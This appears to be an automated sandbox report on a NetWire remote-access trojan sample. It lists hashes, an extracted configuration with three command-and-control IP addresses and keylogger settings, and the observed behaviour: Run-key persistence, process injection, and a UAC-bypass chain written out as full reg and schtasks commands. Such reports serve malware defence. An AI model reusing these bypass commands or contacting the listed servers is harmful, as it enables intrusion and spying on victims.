Analysis
-
max time kernel
137s -
max time network
142s -
platform
windows7_x64 -
resource
win7-en -
submitted
15-09-2021 07:06
Static task
static1
Behavioral task
behavioral1
Sample
450f463616026025f68295b9a3dd365f.exe
Resource
win7-en
Behavioral task
behavioral2
Sample
450f463616026025f68295b9a3dd365f.exe
Resource
win10-en
General
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Target
450f463616026025f68295b9a3dd365f.exe
-
Size
779KB
-
MD5
450f463616026025f68295b9a3dd365f
-
SHA1
440c0e1d874ebd9c3f86b672f24b39d7c857baa3
-
SHA256
c96f0650573130180a039e7b9d66d11e18c97c9fe96c732f2d5fdbcb05a140eb
-
SHA512
7fb9e37bb037f48779b508863f9dacd9714214adc4642619978b9cf90cd19311ad0f122512a41e4d91ad55bd25d7f076266e93f60cfb9df7e8cf325149d4b76f
Malware Config
Extracted
netwire
176.107.178.179:5218
134.19.179.147:5214
139.28.36.101:5218
-
activex_autorun
false
- activex_key
-
copy_executable
false
-
delete_original
false
-
host_id
31-Aug
- install_path
-
keylogger_dir
%AppData%\Local\Nets\
-
lock_executable
true
-
mutex
iXSIGucL
-
offline_keylogger
true
-
password
Password
-
registry_autorun
false
- startup_name
-
use_mutex
true
Signatures
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NetWire RAT payload 1 IoCs
Processes:
resource yara_rule behavioral1/memory/2348-67-0x0000000000400000-0x0000000000433000-memory.dmp netwire -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
450f463616026025f68295b9a3dd365f.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Windows\CurrentVersion\Run\Htvbtua = "C:\\Users\\Public\\Libraries\\autbvtH.url" 450f463616026025f68295b9a3dd365f.exe -
Modifies registry key 1 TTPs 3 IoCs
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Suspicious use of WriteProcessMemory 64 IoCs
Processes:
450f463616026025f68295b9a3dd365f.exedescription pid process target process PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe PID 820 wrote to memory of 1920 820 450f463616026025f68295b9a3dd365f.exe 450f463616026025f68295b9a3dd365f.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\450f463616026025f68295b9a3dd365f.exe"C:\Users\Admin\AppData\Local\Temp\450f463616026025f68295b9a3dd365f.exe"1⤵
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\450f463616026025f68295b9a3dd365f.exeC:\Users\Admin\AppData\Local\Temp\450f463616026025f68295b9a3dd365f.exe2⤵
- Adds Run key to start application
-
C:\Windows\SysWOW64\dialer.exeC:\Windows\System32\dialer.exe3⤵
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C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Public\Trast.bat" "3⤵
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat4⤵
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C:\Windows\SysWOW64\reg.exereg delete hkcu\Environment /v windir /f5⤵
- Modifies registry key
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C:\Windows\SysWOW64\reg.exereg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM "5⤵
- Modifies registry key
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C:\Windows\SysWOW64\schtasks.exeschtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I5⤵
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C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Public\nest.bat" "3⤵
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C:\Windows\SysWOW64\reg.exereg delete hkcu\Environment /v windir /f4⤵
- Modifies registry key
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Public\Trast.batMD5
4068c9f69fcd8a171c67f81d4a952a54
SHA14d2536a8c28cdcc17465e20d6693fb9e8e713b36
SHA25624222300c78180b50ed1f8361ba63cb27316ec994c1c9079708a51b4a1a9d810
SHA512a64f9319acc51fffd0491c74dcd9c9084c2783b82f95727e4bfe387a8528c6dcf68f11418e88f1e133d115daf907549c86dd7ad866b2a7938add5225fbb2811d
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C:\Users\Public\UKO.batMD5
eaf8d967454c3bbddbf2e05a421411f8
SHA16170880409b24de75c2dc3d56a506fbff7f6622c
SHA256f35f2658455a2e40f151549a7d6465a836c33fa9109e67623916f889849eac56
SHA512fe5be5c673e99f70c93019d01abb0a29dd2ecf25b2d895190ff551f020c28e7d8f99f65007f440f0f76c5bcac343b2a179a94d190c938ea3b9e1197890a412e9
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C:\Users\Public\nest.batMD5
8ada51400b7915de2124baaf75e3414c
SHA11a7b9db12184ab7fd7fce1c383f9670a00adb081
SHA25645aa3957c29865260a78f03eef18ae9aebdbf7bea751ecc88be4a799f2bb46c7
SHA5129afc138157a4565294ca49942579cdb6f5d8084e56f9354738de62b585f4c0fa3e7f2cbc9541827f2084e3ff36c46eed29b46f5dd2444062ffcd05c599992e68
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memory/820-53-0x0000000000220000-0x0000000000221000-memory.dmpFilesize
4KB
-
memory/820-56-0x0000000010410000-0x000000001042B000-memory.dmpFilesize
108KB
-
memory/1920-55-0x0000000000000000-mapping.dmp
-
memory/1920-60-0x0000000000330000-0x0000000000331000-memory.dmpFilesize
4KB
-
memory/1920-59-0x00000000001B0000-0x00000000001B1000-memory.dmpFilesize
4KB
-
memory/2348-66-0x0000000010550000-0x0000000010585000-memory.dmpFilesize
212KB
-
memory/2348-74-0x0000000000080000-0x0000000000081000-memory.dmpFilesize
4KB
-
memory/2348-65-0x00000000002C0000-0x00000000002C1000-memory.dmpFilesize
4KB
-
memory/2348-67-0x0000000000400000-0x0000000000433000-memory.dmpFilesize
204KB
-
memory/2348-64-0x0000000000100000-0x0000000000101000-memory.dmpFilesize
4KB
-
memory/2348-61-0x0000000000000000-mapping.dmp
-
memory/2348-62-0x0000000076071000-0x0000000076073000-memory.dmpFilesize
8KB
-
memory/2380-63-0x0000000000000000-mapping.dmp
-
memory/2432-69-0x0000000000000000-mapping.dmp
-
memory/2468-71-0x0000000000000000-mapping.dmp
-
memory/2480-72-0x0000000000000000-mapping.dmp
-
memory/2492-73-0x0000000000000000-mapping.dmp
-
memory/2516-75-0x0000000000000000-mapping.dmp
-
memory/2548-77-0x0000000000000000-mapping.dmp